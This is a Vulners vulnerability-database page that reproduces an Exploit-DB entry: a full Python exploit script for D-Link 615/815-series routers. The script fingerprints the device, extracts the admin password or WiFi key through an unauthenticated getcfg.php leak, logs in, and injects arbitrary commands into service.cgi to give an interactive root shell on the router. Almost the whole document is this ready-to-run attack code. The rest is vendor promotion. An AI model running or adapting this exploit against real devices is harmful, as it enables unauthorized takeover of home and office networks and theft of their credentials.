Lucene search
K

D-Link Routers 110/412/615/815 < 1.03 - 'service.cgi' Arbitrary Code Execution

🗓️ 10 Jan 2018 00:00:00Reported by Cr0n1cType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 45 Views

D-Link Routers 110/412/615/815 < 1.03 'service.cgi' Arbitrary Code Executio

Code
#!/usr/bin/python

# Exploit Title: D-Link WAP 615/645/815 < 1.03 service.cgi RCE
# Exploit Author: Cr0n1c
# Vendor Homepage: us.dlink.com
# Software Link: https://github.com/Cr0n1c/dlink_shell_poc/blob/master/dlink_auth_rce
# Version: 1.03
# Tested on: D-Link 815 v1.03

import argparse
import httplib
import random
import re
import requests
import string
import urllib2

DLINK_REGEX = ['Product Page : <a href="http://support.dlink.com" target="_blank">(.*?)<',
               '<div class="modelname">(.*?)</div>',
               '<div class="pp">Product Page : (.*?)<a href="javascript:check_is_modified">'
             ]


def dlink_detection():
    try:
        r = requests.get(URL, timeout=10.00)
    except requests.exceptions.ConnectionError:
        print "Error: Failed to connect to " + URL
        return False

    if r.status_code != 200:
        print "Error: " + URL + " returned status code " + str(r.status_code)
        return False

    for rex in DLINK_REGEX:
        if re.search(rex, r.text):
            res = re.findall(rex, r.text)[0]
            return res

    print "Warning: Unable to detect device for " + URL
    return "Unknown Device"


def create_session():
    post_content = {"REPORT_METHOD": "xml",
                    "ACTION": "login_plaintext",
                    "USER": "admin",
                    "PASSWD": PASSWORD,
                    "CAPTCHA": ""
                    }

    try:
        r = requests.post(URL + "/session.cgi", data=post_content, headers=HEADER)
    except requests.exceptions.ConnectionError:
        print "Error: Failed to access " + URL + "/session.cgi"
        return False

    if not (r.status_code == 200 and r.reason == "OK"):
        print "Error: Did not recieve a HTTP 200"
        return False

    if not re.search("<RESULT>SUCCESS</RESULT>", r.text):
        print "Error: Did not get a success code"
        return False

    return True


def parse_results(result):
    print result[100:]
    return result


def send_post(command, print_res=True):
    post_content = "EVENT=CHECKFW%26" + command + "%26"

    method = "POST"

    if URL.lower().startswith("https"):
        handler = urllib2.HTTPSHandler()
    else:
        handler = urllib2.HTTPHandler()

    opener = urllib2.build_opener(handler)
    request = urllib2.Request(URL + "/service.cgi", data=post_content, headers=HEADER)
    request.get_method = lambda: method

    try:
        connection = opener.open(request)
    except urllib2.HTTPError:
        print "Error: failed to connect to " + URL + "/service.cgi"
        return False
    except urllib2.HTTPSError:
        print "Error: failed to connect to " + URL + "/service.cgi"
        return False

    if not connection.code == 200:
        print "Error: Recieved status code " + str(connection.code)
        return False

    attempts = 0

    while attempts < 5:
        try:
            data = connection.read()
        except httplib.IncompleteRead:
            attempts += 1
        else:
            break

        if attempts == 5:
            print "Error: Chunking failed %d times, bailing." %attempts
            return False

    if print_res:
        return parse_results(data)
    else:
        return data


def start_shell():
    print "+" + "-" * 80 + "+"
    print "| Welcome to D-Link Shell" + (" " * 56) + "|"
    print "+" + "-" * 80 + "+"
    print "| This is a limited shell that exploits piss poor programming.  I created this   |"
    print "| to give you a comfort zone and to emulate a real shell environment.  You will  |"
    print "| be limited to basic busybox commands.  Good luck and happy hunting.            |"
    print "|" + (" " * 80) + "|"
    print "| To quit type 'gtfo'" + (" " * 60) + "|"
    print "+" + "-" * 80 + "+\n\n"

    cmd = ""

    while True:
        cmd = raw_input(ROUTER_TYPE + "# ").strip()
        if cmd.lower() == "gtfo":
            break

        send_post(cmd)


def query_getcfg(param):
    post_data = {"SERVICES": param}
    try:
        r = requests.post(URL + "/getcfg.php", data=post_data, headers=HEADER)
    except requests.exceptions.ConnectionError:
        print "Error: Failed to access " + URL + "/getcfg.php"
        return False

    if not (r.status_code == 200 and r.reason == "OK"):
        print "Error: Did not recieve a HTTP 200"
        return False

    if re.search("<message>Not authorized</message>", r.text):
        print "Error: Not vulnerable"
        return False

    return r.text


def attempt_password_find():
    # Going fishing in DEVICE.ACCOUNT looking for CWE-200 or no password
    data = query_getcfg("DEVICE.ACCOUNT")
    if not data:
        return False

    res = re.findall("<password>(.*?)</password>", data)
    if len(res) > 0 and res != "=OoXxGgYy=":
        return res[0]

    # Did not find it in first attempt
    data = query_getcfg("WIFI")
    if not data:
        return False

    res = re.findall("<key>(.*?)</key>", data)
    if len(res) > 0:
        return res[0]

    # All attempts failed, just going to return and wish best of luck!
    return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="D-Link 615/815 Service.cgi RCE")

    parser.add_argument("-p", "--password", dest="password", action="store", default=None,
                        help="Password for the router.  If not supplied then will use blank password.")
    parser.add_argument("-u", "--url", dest="url", action="store", required=True,
                        help="[Required] URL for router (i.e. http://10.1.1.1:8080)")
    parser.add_argument("-x", "--attempt-exploit", dest="attempt_exploit", action="store_true", default=False,
                        help="If flag is set, will attempt CWE-200.  If that fails, then will attempt to discover "
                             "wifi password and use it.")

    args = parser.parse_args()

    HEADER = {"Cookie": "uid=" + "".join(random.choice(string.letters) for _ in range(10)),
              "Host": "localhost",
              "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
              }

    URL = args.url.lower().strip()

    if not URL.startswith("http"):
        URL = "http://" + URL

    ROUTER_TYPE = dlink_detection()

    if not ROUTER_TYPE:
        print "EXITING . . ."
        exit()

    if args.attempt_exploit and args.password is None:
        res = attempt_password_find()
        if res:
            PASSWORD = res
        else:
            PASSWORD = ""
        print "[+] Switching password to: " + PASSWORD
    elif args.password:
        PASSWORD = args.password
    else:
        PASSWORD = ""

    if not create_session():
        print "EXITING . . ."
        exit()

    if len(send_post("ls", False)) == 0:
        print "Appears this device [%s] is not vulnerable. EXITING . . ." %ROUTER_TYPE
        exit()

    start_shell()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jan 2018 00:00Current
7.4High risk
Vulners AI Score7.4
45